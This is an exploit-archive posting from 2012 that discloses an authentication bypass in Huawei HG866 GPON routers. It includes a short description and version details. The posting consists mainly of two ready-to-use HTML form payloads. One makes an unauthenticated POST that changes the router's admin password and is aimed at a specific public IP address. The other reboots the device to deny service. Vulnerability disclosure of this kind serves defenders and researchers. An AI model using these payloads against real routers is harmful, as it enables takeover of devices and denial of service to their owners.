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Huawei HG866 Authentication Bypass

Huawei HG866 Authentication Bypass
Posted Jun 16, 2012
Authored by hkm

Huawei HG866 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
MD5 | da5810440faf6a1712c6f75bf5c6dd3d

Huawei HG866 Authentication Bypass

Change Mirror Download
# Exploit Title: Huawei HG866 Authentication Bypass
# Date: Jun 14 2012
# Exploit Author: hkm
# Vendor Homepage: http://www.huawei.com
# Version: V1R2C01SPC202, R3.2.4.92sbn - R3.4.2.257sbn, 3FE53864AOCB16
# Tested on: HG866GTA_VER.C, 01, 02
# Advisory: http://websec.mx/advisories/view/Evasion_de_autenticacion_en_Huawei_HG866

Huawei HG866 GPON routers don't properly validate the session on every page. It is possible to change the web interface admin password by performing an unauthenticated post directly to the form.

PoC / Exploit:

<!--Changes root password --!>
<form name=hg866bypass action=http://187.162.144.50/html/password.html method=post >
<input name=psw value=password ><input name=reenterpsw value=password >
<input type="submit" name="save" value="Apply" />
</form>

<!--Reboots the device --!>
<form name=hg866dos action=http://192.168.100.251/html/admin_reboot.html" method="post">
<input type=submit name=save id=save value=Reboot />
</form>



hkm

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